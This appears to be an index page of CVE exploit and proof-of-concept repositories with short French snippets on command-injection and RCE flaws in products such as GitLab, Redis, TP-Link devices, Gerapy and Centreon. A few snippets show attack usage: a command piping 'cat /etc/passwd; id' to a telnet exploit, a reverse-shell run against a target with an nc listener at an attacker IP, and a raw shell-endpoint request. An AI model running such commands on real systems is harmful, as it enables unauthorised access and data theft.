CVE-2026-24516-DigitalOcean-RCE

CVE-2026-24516-DigitalOcean-RCE RCE racine critique pré-authentification CVSS 10.0 dans l'agent Droplet de DigitalOcean jusqu'à la v1.3.2 via injection de commande. CVE-2026-24516 : RCE racine pré-authentification dans l'agent Droplet de DigitalOcean Vue d'ensemble Une vulnérabilité critique...

CVE-2026-20841

CVE-2026-20841 Ce contenu correspond à une partie de ce qui est fourni via le Rapport Mensuel pour les abonnés PatchPoint. Vue d'ensemble Microsoft a divulgué un correctif pour une vulnérabilité RCE dans Notepad en février 2026. La vulnérabilité est une vulnérabilité d'injection de commandes qui ...

CVE-2021-22205-gitlab

Impact de la vulnérabilité Un problème a été découvert dans GitLab CE/EE affectant toutes les versions à partir de la 11.9. GitLab ne validait pas correctement les fichiers image transmis à un analyseur de fichiers, ce qui entraînait une exécution de commande à distance. Produit concerné Gitlab...

CVE-2024-12856

CVE-2024-12856 Il s'agit d'un exploit pour les routeurs Four-Faith des modèles F3x24 et F3x36 permettant d'obtenir un shell inversé. « Les routeurs Four-Faith des modèles F3x24 et F3x36 sont affectés par une vulnérabilité d'injection de commandes dans le système d'exploitation OS. Au moins la...

CVE-2026-24061-POC

CVE-2026-24061-POC echo "cat /etc/passwd; id;" | python poc2.py TARGET 23 1. Délai de connexion Emplacement : ligne 25 dans la méthode establishconnection python self.connection.settimeout10 -- Délai de connexion réglable Objectif : contrôle la durée d'attente pour la connexion TCP initiale vers...

CVE-2026-25589-25588-25243-23631-23479-REDIS

GUIDE DE TEST & CORRECTION DES 5 CVE REDIS AU 08.05.2026 Date de publication : 2026-05-08 Auteur : TonyCao [email protected] Source : Redis Security Advisory TABLE DES MATIÈRES 1. Vue d'ensemble 2. Versions affectées 3. Détails de chaque CVE CVE-2026-23479 — Use-after-free dans le flux de...

CVE-2026-25546-godot-mcp-0.1.1-OS-Command-Injection

PoC CVE-2026-25546 - godot-mcp Injection de commandes système Auteur : Mohammed Idrees Banyamer GitHub : mbanyamer Date : 04 février 2026 Titre de l'exploit godot-mcp 0.1.1 - Injection de commandes système via projectPath CVE CVE-2026-25546 CWE CWE-78 Neutralisation incorrecte d'éléments spéciaux...

CVE-2026-25512-PoC-Group-Office-Authenticated-RCE

PoC CVE-2026-25512 – RCE authentifié dans Group-Office via le gestionnaire TNEF Auteur : Mohammed Idrees Banyamer Pseudo : @banyamersecurity GitHub : mbanyamer Date : 04 février 2026 Titre de l'exploit Group-Office Intermesh 26.0.4 – RCE authentifié via le gestionnaire de pièces jointes TNEF CVE...

CVE-2026-25130-Cybersecurity-AI-CAI-Framework-0.5.10

CVE-2026-25130 – Preuve de concept PoC d'injection d'arguments / injection de commandes OS dans le framework Cybersecurity AI CAI Auteur : Mohammed Idrees Banyamer Pays : Jordanie GitHub : https://github.com/yourusername Instagram : @banyamersecurity Vue d'ensemble Ce dépôt contient une preuve de...

CVE-2026-22812

CVE-2026-22812 CVE-2026-22812 - Modèle Nuclei pour RCE non authentifiée sur OpenCode, destiné à l'analyse. requête burp suite POST /session HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 X11; Linux x8664 Content-Type: application/json Content-Length: 2 POST /session/"id"/shell HTTP/1.1 Host:...

CVE-2026-0834

CVE-2026-0834 PoC Contournement de l'authentification du protocole de débogage des appareils TP-Link TDDP CVE-2026-0834 Présentation Une vulnérabilité dans le service TDDP TP-Link Device Debug Protocol permet à des attaquants distants non authentifiés sur le réseau local d'exécuter des commandes...

CVE-2021-45897

CVE-2021-45897 PoC pour CVE-2021-45897 alias SCRMBT-180 - RCE via les modèles d'e-mails authentifié uniquement dans SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 Exemple d'utilisation : .venv ➜ CVE-2021-45897 git:main ✗...

cve-2021-32849

cve-2021-32849 cve-2021-32849 exécution de commandes gerapy Utilisation Commencez par ouvrir un nc pour écouter, puis utilisez l'exploit pour attaquer python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857 exécution de commande Gerapy Avertissement Ce script est fourni à des fins d'apprentissage uniquement, veuillez ne pas attaquer malveillamment les sites web d'autrui. En cas de violation de la loi ou de la réglementation, toutes les conséquences sont à la charge de...

tapo-c260-rce

Chaîne RCE Tapo C260 CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653 Preuve de concept d'une chaîne d'exploitation pour la caméra IP TP-Link Tapo C260 permettant d'obtenir une RCE de non-authentifié à root en enchaînant trois vulnérabilités découvertes par Eugene Lim Spaceraccoon. Crédits Toutes le...

wheelaudit

wheelaudit Scanner de sécurité pour fichiers Python Wheel — analysez les fichiers .whl pour détecter des problèmes de sécurité avant l'installation. Motivé par des CVE récentes dans la gestion des wheels Python : CVE-2026-24049 : Traversée de chemin lors du dépaquetage de wheel permettant la...

CVE-2026-28363

🔴 CVE-2026-28363 — Aviso de Seguridad ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗ ██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝ ███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚██████╗ ╚████╔╝ ███████╗...

DEBIAN-CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

CVE-2026-93858

In OpenStack Mistral through 23.0.0, the std.sshproxied action passes a caller-supplied proxycommand value directly to paramiko.ProxyCommand before any SSH connection to a gateway or target host is attempted. An authenticated project member can use the standard action-execution API to submit an...

Centreon-Exploits-2026

Exploits pour CVE-2026-2749, CVE-2026-2751 et CVE-2026-2750 Ce dépôt contient des exploits pour CVE-2026-2749, CVE-2026-2751 et CVE-2026-2750 dans Centreon, exploitant des vulnérabilités de Path Traversal, d'Injection SQL et d'Injection de commandes. Versions vulnérables Toutes les versions...